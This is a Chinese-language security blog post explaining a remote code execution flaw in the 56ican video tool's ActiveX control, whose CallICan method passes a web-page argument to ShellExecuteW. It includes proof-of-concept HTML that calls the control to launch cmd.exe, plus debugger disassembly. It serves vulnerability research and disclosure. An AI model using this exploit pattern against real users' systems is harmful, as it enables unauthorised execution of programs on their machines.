探索黑客技术攻防,实战研究与安全创新

导航菜单

解密56ican远程执行任意程序漏洞

56ican是由56网站开发的一款便于用户上传下载视频文件的工具软件,测试发现该软件在安全方面存在诸多问题,这里我们对该软件的最新版本1.3.0进行了同样的测试,发现问题依旧存在。其中,最新版本的56ican其使用界面如图1所示。

当我们在系统中安装了56ican后,该软件向系统注册了多个ActiveX控件,这其中有一个名为“IESuport.dll”的文件,它注册的ActiveX控件类名为“IESuportLib”。该控件类只有一个外部接口函数,名为“CallICan”,其函数原型如下所示:

SubCallICan(

ByRefurlAsString

)

从参数名称来看,“url”是代表网址,而函数名称看起来似乎又是类似一个调用性质的函数。在无法推断该函数的作用时,我们写一个测试网页来看一看效果,测试代码如下:

object

classid=clsid:7B001844-0E6A-429A-B014-3BCE8765C470

name=evil/object

script

evil.CallICan(http://www.weixianmanbu.com);

/script

当我们将这个网页放置在测试用的Web服务器上,用IE浏览器访问时,IE浏览器会给出一个安全提示,如图2所示。

当用鼠标点击IE浏览器给出的安全提示,选择允许浏览器加载该控件后,我们发现浏览器在试图访问百度的网站,如图3所示。

这令我们很好奇,一般来说打开网址这样的行为,从编程角度来看,就是调用了一个带有执行命令性质的函数,诸如ShellExecuteW。如果真的是这样,那么,就意味着56ican的ActiveX控件存在了很严重的安全漏洞,我们可以借助“CallICan”来运行任意程序。现在,我们就写一个测试网页来看看效果,代码如下所示。

object

classid=clsid:7B001844-0E6A-429A-B014-3BCE8765C470

name=evil/object

script

evil.CallICan(cmd.exe);

/script

将这个测试网页上传到Web服务器上,再次用IE浏览器访问该测试网页,效果如图4所示。

看到这样的画面实在令人吃惊,我们完全可以借助56ican来实现在用户的系统上远程运行任意程序。但是,这个结果到底是什么原因造成的呢?借助OllyDbg我们找到了原因,如图5所示。

56ican的“IESuport.dll”文件果然调用了ShellExecuteW函数。这个函数是一个非安全函数,尤其是在ActiveX控件中使用它。通过在OllyDbg中回溯跟踪,我们发现了问题所在:

018C3E46

018C3E48

018C3E4A

018C3E4C

018C3E4D

018C3E52

018C3E54

6A05

6A00

6A00

51

68A8768C01

6A00

push5

push0

push0

pushecx

push18C76A8

push0

;UNICODEopen

FF1554718C01calldwordptrds:[18C7154]

;

SHELL32.ShellExecuteW

018C3E5A

018C3E5C

33C0

C20800

xoreax,eax

retn8

原来56ican的“CallICan”接口直接调用了ShellExecuteW函数,其ecx寄存器指向的内容就是我们在网页中传递给“CallICan”接口的参数。使用VC代码进行书写类似这样:

ShellExecuteW(NULL,“open”,ecx,0,0,MB_SHOW)

现在,明白了上面的原理,漏洞的利用代码就可以结合实际情况来进行编写了。最后,该漏洞对于过去版本的56ican都存在,本文旨在谈论讨论该漏洞形成的原因,请不要使用该漏洞进行任何违法活动,

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

相关推荐